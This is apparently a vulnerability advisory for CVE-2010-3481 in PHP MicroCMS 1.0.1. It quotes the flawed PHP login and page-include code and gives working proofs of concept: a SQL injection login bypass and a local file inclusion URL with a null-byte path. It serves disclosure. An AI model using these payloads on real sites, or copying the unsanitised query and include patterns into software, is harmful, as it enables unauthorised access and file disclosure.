CVE-2010-3481

'''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

http://www.exploit-db.com/moaub-15-php-microcms-1-0-1-multiple-remote-vulnerabilities/

'''

 
Title  : PHP MicroCMS 1.0.1 Multiple Remote Vulnerabilities
Affected Version : PHP MicroCMS <= 1.0.1
Vendor  Site   : www.apphp.com/php-microcms/index.php
 
Discovery : abysssec.com
  
Description :
 
This CMS have many critical vulnerability that we refere to some of those here:
 
 
Vulnerabilites :

1. Authentication bypass with SQL Injection in login page:

user_name and password parameters recived from the login form are passed to do_login function:
login.php 
line 12-17:
	function Login() {
		$this->wrong_login = false;
		if (!$this->is_logged_in() && $_POST['submit'] == "Login" && !empty($_POST['user_name']) && !empty($_POST['password'])) $this->do_login($_POST['user_name'], $_POST['password']);
		else if ($_POST['submit_logout'] == "Logout") $this->do_logout();
		$this->accounts = new Profiles($GLOBALS['user_session']->get_session_variable("session_account_id"));
	}

in do_login function these parameters are passed to get_account_information function:
login.php line 19-29:
function do_login($user_name, $password, $do_redirect = true) {
		if ($account_information = $this->get_account_information($user_name, $password)) {
				$this->set_session_variables($account_information);
				if ($do_redirect) {
					header("Location: index.php\r\n\r\n");
					exit;
				}
		}else{
			$this->wrong_login = true;
		}
	}


then these parameters without any validation are applied in SQL query directly:
login.php line 48-55:
	function get_account_information($user_name, $password) {
		$sql = "SELECT ".DB_PREFIX."accounts.*, user_name AS account_name
							   FROM ".DB_PREFIX."accounts
							   WHERE
									user_name = '" . $user_name . "' AND 			// vulnerability here
									password = AES_ENCRYPT('" . $password . "', '" . DB_ENCRYPT_KEY . "')";	// vulnerability here
		return database_query($sql, DATA_ONLY, FIRST_ROW_ONLY);
	}

POC:
in login page enter:
username: a' or '1'='1
password: a' or '1'='1
----------------------------------------------------------------------------------------------------
2. Local File Inclusion:

index.php file line 21:
	$page = !empty($_GET['page']) ? $_GET['page'] : "home";

index.php file line 104,105:
					if (($page != "") && file_exists("page/" . $page . ".php")) {
						require("page/" . $page . ".php");	
poc:
http://localhost/microcms/index.php?page=../include/base.inc.php%00